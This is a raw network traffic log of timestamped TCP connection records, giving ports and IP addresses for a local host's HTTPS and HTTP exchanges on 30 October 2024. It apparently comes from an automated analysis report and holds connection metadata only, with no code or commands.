Oct 30, 2024 15:59:12.207438946 CET	49746	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:12.207482100 CET	443	49746	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:12.207535028 CET	49746	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:12.208304882 CET	49747	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:12.208312988 CET	443	49747	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:12.208373070 CET	49747	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:12.212358952 CET	49748	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:12.212369919 CET	443	49748	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:12.212477922 CET	49748	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:12.213537931 CET	49749	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:12.213543892 CET	443	49749	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:12.213606119 CET	49749	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:12.214721918 CET	49749	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:12.214735031 CET	443	49749	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:12.217134953 CET	49748	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:12.217147112 CET	443	49748	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:12.217650890 CET	49745	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:12.217664003 CET	443	49745	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:12.217829943 CET	49746	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:12.217848063 CET	443	49746	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:12.217931032 CET	49747	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:12.217941999 CET	443	49747	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:12.282277107 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:12.282313108 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:12.282381058 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:12.282656908 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:12.282668114 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:12.302164078 CET	49751	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:12.302176952 CET	443	49751	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:12.302263975 CET	49751	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:12.302465916 CET	49751	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:12.302479982 CET	443	49751	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:12.675184965 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:12.675249100 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:12.971412897 CET	443	49747	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:12.972341061 CET	49747	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:12.972373009 CET	443	49747	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:12.973380089 CET	49747	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:12.973387003 CET	443	49747	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:12.980329990 CET	443	49748	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:12.980957031 CET	443	49746	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:12.984090090 CET	49748	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:12.984122992 CET	443	49748	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:12.985057116 CET	49748	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:12.985063076 CET	443	49748	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:12.985995054 CET	49746	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:12.986028910 CET	443	49746	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:12.986598969 CET	49746	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:12.986604929 CET	443	49746	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:12.992239952 CET	443	49745	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:12.993560076 CET	49745	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:12.993577957 CET	443	49745	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:12.994102001 CET	49745	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:12.994117022 CET	443	49745	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:13.026570082 CET	443	49744	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.029006004 CET	49744	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.029016018 CET	443	49744	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.030124903 CET	443	49744	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.030179977 CET	49744	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.036577940 CET	49744	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.036674023 CET	443	49744	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.038155079 CET	49744	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.038168907 CET	443	49744	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.079389095 CET	443	49749	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.088185072 CET	49744	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.102257013 CET	49749	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.102272034 CET	443	49749	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.103128910 CET	443	49747	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:13.103533030 CET	443	49747	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:13.103580952 CET	49747	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:13.103589058 CET	443	49749	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.103636026 CET	49749	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.114429951 CET	443	49746	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:13.114537954 CET	443	49746	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:13.114587069 CET	49746	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:13.115751982 CET	49747	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:13.115772963 CET	443	49747	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:13.115787029 CET	49747	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:13.115792990 CET	443	49747	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:13.120697975 CET	443	49748	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:13.120753050 CET	443	49748	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:13.120795965 CET	49748	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:13.123287916 CET	49748	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:13.123301983 CET	443	49748	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:13.125005007 CET	443	49745	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:13.125281096 CET	443	49745	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:13.125334024 CET	49745	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:13.125895977 CET	49745	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:13.125900030 CET	443	49745	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:13.133497953 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.137222052 CET	49749	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.137350082 CET	443	49749	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.138345003 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.138359070 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.138493061 CET	49749	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.138504028 CET	443	49749	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.139041901 CET	49746	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:13.139059067 CET	443	49746	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:13.139069080 CET	49746	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:13.139075041 CET	443	49746	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:13.139890909 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.139961004 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.148099899 CET	443	49751	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.152462959 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.152636051 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.158807039 CET	49751	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.158814907 CET	443	49751	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.158909082 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.158921003 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.159871101 CET	443	49751	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.159924984 CET	49751	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.160456896 CET	49751	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.160517931 CET	443	49751	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.160679102 CET	49751	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.160686970 CET	443	49751	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.170856953 CET	49754	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:13.170890093 CET	443	49754	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:13.170958042 CET	49754	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:13.174791098 CET	49755	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:13.174823999 CET	443	49755	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:13.174882889 CET	49755	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:13.181998014 CET	49749	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.183779001 CET	49756	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:13.183824062 CET	443	49756	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:13.183898926 CET	49756	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:13.187544107 CET	49757	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:13.187572002 CET	443	49757	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:13.187711954 CET	49757	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:13.188868046 CET	49757	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:13.188882113 CET	443	49757	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:13.189287901 CET	49754	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:13.189307928 CET	443	49754	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:13.189533949 CET	49755	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:13.189548016 CET	443	49755	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:13.204893112 CET	49756	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:13.204924107 CET	443	49756	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:13.213232040 CET	49751	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.213247061 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.340854883 CET	443	49744	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.385189056 CET	49744	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.385202885 CET	443	49744	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.430829048 CET	443	49749	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.430871964 CET	443	49749	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.430929899 CET	443	49749	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.431231022 CET	443	49749	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.431276083 CET	443	49749	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.431274891 CET	49749	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.431294918 CET	443	49749	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.431332111 CET	49749	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.432604074 CET	49744	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.433527946 CET	49749	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.433533907 CET	443	49749	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.435116053 CET	443	49751	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.437978983 CET	443	49749	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.440412045 CET	49749	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.440419912 CET	443	49749	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.446114063 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.446180105 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.446219921 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.446265936 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.446309090 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.446311951 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.446367979 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.446387053 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.447287083 CET	443	49749	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.448448896 CET	49749	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.448450089 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.448457003 CET	443	49749	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.448457003 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.454391956 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.454476118 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.454490900 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.470674038 CET	443	49744	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.470861912 CET	443	49744	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.476584911 CET	49744	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.480468988 CET	49751	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.480478048 CET	443	49751	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.494503021 CET	49749	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.494504929 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.494519949 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.525739908 CET	49751	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.543232918 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.546751022 CET	443	49749	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.556088924 CET	443	49751	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.556152105 CET	443	49751	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.560415030 CET	49751	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.561815023 CET	443	49749	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.561846972 CET	443	49749	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.562295914 CET	49749	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.562304020 CET	443	49749	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.562865973 CET	49749	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.562980890 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.563086033 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.564508915 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.564531088 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.565963030 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.566332102 CET	443	49749	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.568639994 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.568650007 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.570313931 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.570563078 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.570570946 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.575932026 CET	443	49749	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.575993061 CET	443	49749	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.576023102 CET	49749	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.576031923 CET	443	49749	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.576117039 CET	49749	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.579138041 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.580359936 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.580373049 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.585531950 CET	443	49749	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.607669115 CET	49749	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.607681990 CET	443	49749	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.607928991 CET	443	49749	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.607959032 CET	49749	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.607990980 CET	49749	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.607990980 CET	49749	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.634299040 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.634310007 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.637531042 CET	49744	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.637563944 CET	443	49744	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.638710022 CET	49751	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.638725042 CET	443	49751	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.677572012 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.680347919 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.680428982 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.680463076 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.680659056 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.680668116 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.680757999 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.683551073 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.687227011 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.687268019 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.687319040 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.687325954 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.687432051 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.695940971 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.740432978 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.740498066 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.741420031 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.741431952 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.741595984 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.797307014 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.797420979 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.797492027 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.797504902 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.802889109 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.803011894 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.803019047 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.804294109 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.804724932 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.804733038 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.813076019 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.813280106 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.813287973 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.853847027 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.858133078 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.900470972 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.900482893 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.914535999 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.914715052 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.914727926 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.920005083 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.920054913 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.920346022 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.920356035 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.920414925 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.921603918 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.921843052 CET	443	49755	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:13.923832893 CET	49755	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:13.923832893 CET	49755	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:13.923855066 CET	443	49755	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:13.923865080 CET	443	49755	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:13.930109978 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.930143118 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.930214882 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.930238008 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.930263996 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.930272102 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:13.930331945 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.930548906 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:13.933423996 CET	443	49757	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:13.933901072 CET	49757	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:13.933919907 CET	443	49757	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:13.934428930 CET	49757	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:13.934434891 CET	443	49757	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:13.936060905 CET	443	49756	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:13.936420918 CET	49756	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:13.936431885 CET	443	49756	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:13.936772108 CET	49756	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:13.936775923 CET	443	49756	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:13.957695007 CET	443	49754	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:13.958216906 CET	49754	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:13.958230972 CET	443	49754	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:13.958674908 CET	49754	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:13.958678961 CET	443	49754	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:13.974735975 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:14.025418043 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:14.031527042 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:14.037230968 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:14.037257910 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:14.038036108 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:14.038043976 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:14.038270950 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:14.038844109 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:14.047297001 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:14.047329903 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:14.047406912 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:14.047426939 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:14.047437906 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:14.047492981 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:14.047523975 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:14.047633886 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:14.047640085 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:14.047702074 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:14.053144932 CET	443	49755	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:14.053224087 CET	443	49755	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:14.054445028 CET	49755	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:14.062920094 CET	49755	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:14.062937021 CET	443	49755	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:14.062973976 CET	49755	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:14.062980890 CET	443	49755	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:14.066627979 CET	443	49757	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:14.066979885 CET	443	49757	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:14.068347931 CET	443	49756	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:14.069381952 CET	443	49756	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:14.069425106 CET	49757	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:14.072788000 CET	49756	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:14.073725939 CET	49757	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:14.073735952 CET	443	49757	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:14.073780060 CET	49757	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:14.073785067 CET	443	49757	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:14.073959112 CET	49756	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:14.073959112 CET	49756	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:14.073978901 CET	443	49756	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:14.073987961 CET	443	49756	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:14.074753046 CET	49758	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:14.074776888 CET	443	49758	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:14.076672077 CET	49758	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:14.077112913 CET	49759	443	192.168.2.6	13.107.246.45
